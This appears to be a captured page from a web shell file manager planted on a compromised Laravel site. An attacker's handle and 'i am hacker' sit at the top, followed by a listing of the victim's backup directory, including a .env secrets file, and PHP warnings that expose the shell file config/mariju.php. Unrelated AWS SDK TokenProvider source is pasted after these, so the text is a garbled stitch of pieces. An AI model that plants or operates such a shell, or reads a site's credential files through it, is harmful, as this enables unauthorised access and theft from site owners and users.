telegram : @iamdarkcomedy i am hacker

path :/home/bisorgosof24/public_html/Backup23122024

upload file:

List of files:

name file size edit permission action
.env2733 KBDecember 22 2024 06:20:070644
404.html58370 KBNovember 20 2024 15:32:220644
502.html58368 KBNovember 20 2024 15:32:220644
Modules-December 11 2024 21:02:560755
README.md4158 KBFebruary 14 2023 12:31:560644
app-December 11 2024 17:57:480755
artisan1686 KBFebruary 14 2023 12:31:560644
bootstrap-December 11 2024 20:23:360755
composer.json3761 KBDecember 11 2024 22:15:000644
composer.lock512048 KBDecember 11 2024 22:13:280644
config-June 15 2025 02:09:360755
database-December 05 2024 20:18:120755
dfsdf dfds fd fds findex.html1420 KBNovember 20 2024 15:32:240644
error_log23949455 KBJuly 19 2025 00:00:090644
firoz-December 23 2024 13:24:460755
index.php1667 KBDecember 14 2024 05:20:360644
lang-December 11 2024 21:02:480755
modules_statuses.json472 KBNovember 20 2024 15:32:240644
mpos-March 31 2025 02:36:310755
package.json226 KBFebruary 14 2023 12:31:560644
phpunit.xml1146 KBFebruary 14 2023 12:31:560644
public-March 31 2025 02:36:310755
resources-December 11 2024 21:10:220755
routes-June 15 2025 02:09:310755
storage-December 11 2024 21:12:440755
tests-December 05 2024 20:18:120755
vendor-December 11 2024 22:13:300755
vite.config.js263 KBFebruary 14 2023 12:31:560644

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 227

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 228

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 229

Warning: Cannot modify header information - headers already sent by (output started at /home/bisorgosof24/public_html/Backup23122024/config/mariju.php:171) in /home/bisorgosof24/public_html/Backup23122024/config/mariju.php on line 230
* use Aws\Token\TokenProvider; * $provider = TokenProvider::defaultProvider(); * // Returns a TokenInterface or throws. * $token = $provider()->wait(); * * * Token providers can be composed to create a token using conditional * logic that can create different tokens in different environments. You * can compose multiple providers into a single provider using * {@see Aws\Token\TokenProvider::chain}. This function accepts * providers as variadic arguments and returns a new function that will invoke * each provider until a token is successfully returned. */ class TokenProvider { use ParsesIniTrait; const ENV_PROFILE = 'AWS_PROFILE'; /** * Create a default token provider tha checks for cached a SSO token from * the CLI * * This provider is automatically wrapped in a memoize function that caches * previously provided tokens. * * @param array $config Optional array of token provider options. * * @return callable */ public static function defaultProvider(array $config = []) { $cacheable = [ 'sso', ]; $defaultChain = []; if ( !isset($config['use_aws_shared_config_files']) || $config['use_aws_shared_config_files'] !== false ) { $profileName = getenv(self::ENV_PROFILE) ?: 'default'; $defaultChain['sso'] = self::sso( $profileName, self::getHomeDir() . '/.aws/config', $config ); } if (isset($config['token']) && $config['token'] instanceof CacheInterface ) { foreach ($cacheable as $provider) { if (isset($defaultChain[$provider])) { $defaultChain[$provider] = self::cache( $defaultChain[$provider], $config['token'], 'aws_cached_' . $provider . '_token' ); } } } return self::memoize( call_user_func_array( [TokenProvider::class, 'chain'], array_values($defaultChain) ) ); } /** * Create a token provider function from a static token. * * @param TokenInterface $token * * @return callable */ public static function fromToken(TokenInterface $token) { $promise = Promise\Create::promiseFor($token); return function () use ($promise) { return $promise; }; } /** * Creates an aggregate token provider that invokes the provided * variadic providers one after the other until a provider returns * a token. * * @return callable */ public static function chain() { $links = func_get_args(); //Common use case for when aws_shared_config_files is false if (empty($links)) { return function () { return Promise\Create::promiseFor(false); }; } return function () use ($links) { /** @var callable $parent */ $parent = array_shift($links); $promise = $parent(); while ($next = array_shift($links)) { $promise = $promise->otherwise($next); } return $promise; }; } /** * Wraps a token provider and caches a previously provided token. * Ensures that cached tokens are refreshed when they expire. * * @param callable $provider Token provider function to wrap. * @return callable */ public static function memoize(callable $provider) { return function () use ($provider) { static $result; static $isConstant; // Constant tokens will be returned constantly. if ($isConstant) { return $result; } // Create the initial promise that will be used as the cached value // until it expires. if (null === $result) { $result = $provider(); } // Return a token that could expire and refresh when needed. return $result ->then(function (TokenInterface $token) use ($provider, &$isConstant, &$result) { // Determine if the token is constant. if (!$token->getExpiration()) { $isConstant = true; return $token; } if (!$token->isExpired()) { return $token; } return $result = $provider(); }) ->otherwise(function($reason) use (&$result) { // Cleanup rejected promise. $result = null; return Promise\Create::promiseFor(null); }); }; } /** * Wraps a token provider and saves provided token in an * instance of Aws\CacheInterface. Forwards calls when no token found * in cache and updates cache with the results. * * @param callable $provider Token provider function to wrap * @param CacheInterface $cache Cache to store the token * @param string|null $cacheKey (optional) Cache key to use * * @return callable */ public static function cache( callable $provider, CacheInterface $cache, $cacheKey = null ) { $cacheKey = $cacheKey ?: 'aws_cached_token'; return function () use ($provider, $cache, $cacheKey) { $found = $cache->get($cacheKey); if (is_array($found) && isset($found['token'])) { $foundToken = $found['token']; if ($foundToken instanceof TokenInterface) { if (!$foundToken->isExpired()) { return Promise\Create::promiseFor($foundToken); } if (isset($found['refreshMethod']) && is_callable($found['refreshMethod'])) { return Promise\Create::promiseFor($found['refreshMethod']()); } } } return $provider() ->then(function (TokenInterface $token) use ( $cache, $cacheKey ) { $cache->set( $cacheKey, $token, null === $token->getExpiration() ? 0 : $token->getExpiration() - time() ); return $token; }); }; } /** * Gets profiles from the ~/.aws/config ini file */ private static function loadDefaultProfiles() { $profiles = []; $configFile = self::getHomeDir() . '/.aws/config'; if (file_exists($configFile)) { $configProfileData = \Aws\parse_ini_file($configFile, true, INI_SCANNER_RAW); foreach ($configProfileData as $name => $profile) { // standardize config profile names $name = str_replace('profile ', '', $name); if (!isset($profiles[$name])) { $profiles[$name] = $profile; } } } return $profiles; } private static function reject($msg) { return new Promise\RejectedPromise(new TokenException($msg)); } /** * Token provider that creates a token from cached sso credentials * * @param string $profileName the name of the ini profile name * @param string $filename the location of the ini file * @param array $config configuration options * * @return SsoTokenProvider * @see Aws\Token\SsoTokenProvider for $config details. */ public static function sso($profileName, $filename, $config = []) { $ssoClient = isset($config['ssoClient']) ? $config['ssoClient'] : null; return new SsoTokenProvider($profileName, $filename, $ssoClient); } }